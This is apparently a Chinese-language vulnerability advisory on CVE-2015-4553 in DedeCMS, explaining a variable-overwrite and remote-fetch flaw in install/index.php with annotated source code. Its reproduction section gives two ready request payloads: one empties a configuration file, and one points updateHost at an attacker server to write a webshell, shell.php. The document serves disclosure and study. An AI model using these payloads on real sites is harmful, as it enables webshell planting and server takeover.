KYLID:KYL20150614-1
一、漏洞信息
漏洞简介
织梦CMS是集简单、健壮、灵活、开源几大特点的开源内容管理系统。 2017年其官方宣称其程序安装量已达七十万,超过六成的站点正在使用织梦CMS或基于织梦CMS核心开发。 在2014年发布的DedeCMS-V5.7-SP1版本,位于“/install/index.php(index.php.bak)”文件中存在变量覆盖与远程文件包含组合漏洞。
漏洞详细信息
NG架构类型应用漏洞对象名称DedeCMS
漏洞对象版本5.5 - 5.7 SP1
漏洞对象应用场景服务端
漏洞目录代码错误
漏洞标签变量覆盖, 远程文件包含
漏洞影响代码执行
漏洞等级高
CVE编号CVE-2015-4553
CVSS评分向量CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:F/RL:O/RC:C
CVSS Base评分9.4
CVSS 时间评分8.7
漏洞危害
攻击者可通过此漏洞重定义数据库连接。
直接写入webshell后门
进而获取到网站甚至服务器的管理权限。
厂商建议
参考: http://www.dedecms.com/pl/
漏洞备注
当搭建漏洞环境,安装dedecms时出现如下报错:DedeCMS Error: (PHP 5.3 and above) Please set 'request_order' ini value to i
可在include/common.inc.php文件将对应代码注释:/*
if(version_compare(PHP_VERSION, '5.3.0', '>'))
{
if(strtoupper(ini_get('request_order')) == 'GP')
exit('DedeCMS Error: (PHP 5.3 and above) Please set \'request_order\' ini value to include C,G and P (recommended: \'CGP\') in php.ini,more...');
}
*/
二、漏洞原理
漏洞位置
问题程序文件/include/common.inc.php问题函数或方法$step==11
问题参数updateHost、s_lang、install_demo_name、insLockfile
问题数据对象无
技术机制
Dedecms安装基本都在install/index.php进行,安装完成后dedecms并没有自动删除install文件夹,而是选择通过在install文件夹中生成install_lock.txt来控制安装:// KylinLab: 此处定义安装锁文件
$insLockfile = dirname(__FILE__).'/install_lock.txt';
[... 省略部分代码以便阅读 ...]
require_once(DEDEINC.'/common.func.php');
// KylinLab: 判断是否已经安装
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
安装程序开始运行时,Dedecms首先通过遍历请求来获取到安装过程中不同步骤的参数数据:foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
如http://xx.xx.xx.xx/install/index.php.bak?step=11&s_lang=utf-8
此处的$$则是本次漏洞的关键位置。其原本作用是将GET、POST、COOKIE三处传入的数据以键值对形式获取,如URL中输入?str=kylin,则$_k的值就是str,$_v的值就是Kylin, 那么${$_k}的值就是$str,也就导致变量覆盖
本次漏洞因$$引起的变量覆盖而引发install/index.php文件中远程读取数据和写文件相关的$updateHost、$s_lang、$install_demo_name、$insLockfile参数可控:else if($step==11)
{
require_once('../data/admin/config_update.php');
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo ' [√] 存在(您可以选择安装进行体验)';
else
echo ' [×] 远程获取失败';
unset($sql_content);
fclose($fp);
exit();
}
攻击者可通过结合着两个漏洞,向网站写入Webshell后门。
但由于install/index.php第369行包含了../data/admin/config_update.php更新(体验包)配置地址文件:require_once('../data/admin/config_update.php');
../data/admin/config_update.php文件则定义$updateHost为:http://updatenew.dedecms.com/base-v57/
恰巧控制$updateHost,这就导致了就算前面可以通过变量覆盖这个变量,新包含变量同样再次覆盖我们修改好的$updateHost的值。变化流程为:外部可控的$updateHost=》dedecms自身控制的$updateHost。
那么有什么办法可以$updateHost变量绝对可控呢?
有两种思路,第一种是只覆盖../data/admin/config_update.php文件中的$updateHost变量值;第二种则将../data/admin/config_update.php文件内容清空。 第一种思路不可行,只能选择第二种,第二种则可以让程序请求一个不存在的dedecms官方体验包数据的地址。 已存在体验包的可参考:http://updatenew.dedecms.com/base-v57/dedecms/
代码走读
在install/index.php代码19-39行存在变量覆盖:$insLockfile = dirname(__FILE__).'/install_lock.txt';
$moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';
define('DEDEINC',dirname(__FILE__).'/../include');
define('DEDEDATA',dirname(__FILE__).'/../data');
define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
header("Content-Type: text/html; charset={$s_lang}");
require_once(DEDEROOT.'/install/install.inc.php');
require_once(DEDEINC.'/zip.class.php');
//KylinLab: 变量覆盖
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}
require_once(DEDEINC.'/common.func.php');
if(file_exists($insLockfile))
{
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}
其中RunMagicQuotes函数则对参数值中的特殊字符进行转义处理,具体函数定义可在/include/commom.inc.php看到:function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
addslashes函数可以参考:https://www.php.net/manual/zh/function.addslashes.php
跟进/install/index.php(安装好dedecms则变为index.php.bak)代码文件367-381行,由变量覆盖引发的远程文件包含:else if($step==11)
{
// KylinLab: 加载含体验包地址的配置文件
require_once('../data/admin/config_update.php');
// KylinLab: 体验包地址,utf-8编码的默认为:http://updatenew.dedecms.com/base-v57/dedecms/demodata.utf-8.txt
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
// KylinLab: 读取体验包地址数据,并向$install_demo_name文件写入体验数据
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
// KylinLab: 写入体验包数据到本地成功时
if(fwrite($fp,$sql_content))
echo ' [√] 存在(您可以选择安装进行体验)';
else
echo ' [×] 远程获取失败';
unset($sql_content);
fclose($fp);
exit();
}
触发利用条件攻击者先向漏洞服务器发送一个包含精心构造的可清空../data/admin/config_update.php体验包配置文件内容的HTTP请求。
攻击者再向漏洞服务器发送一个可远程包含获取Webshell的HTTP请求,当受漏洞影响的软件处理请求时,则触发漏该漏洞。
攻击复现
需要Getshell的情况下需要两步:1.清空配置文件../data/admin/config_update.php`
2.利用变量覆盖进行远程包含Getshell
1、 清空配置文件../data/admin/config_update.php
查看php的资料可以file_get_contents函数定义,对于传入参数为URL时,只有URL的响应状态码为200且响应内容非空时,才返回对应页面数据,否则返回false,对应字符串为空字符。 由此可构造攻击Payload:?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
效果:
图为攻击前后文件大小对比。
2、 利用变量覆盖进行远程包含Getshell
因为远程读取URL为:$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
则需要在攻击者的可以在攻击者服务器建立dedecms/demodata. {$s_lang}.txt文件:
则第二次攻击payload可为:?step=11&insLockfile=a&s_lang=a&install_demo_name=shell.php&updateHost=http://x.x.x.x/
效果:
另外可以思考下:是不是仅仅可以通过get方式利用?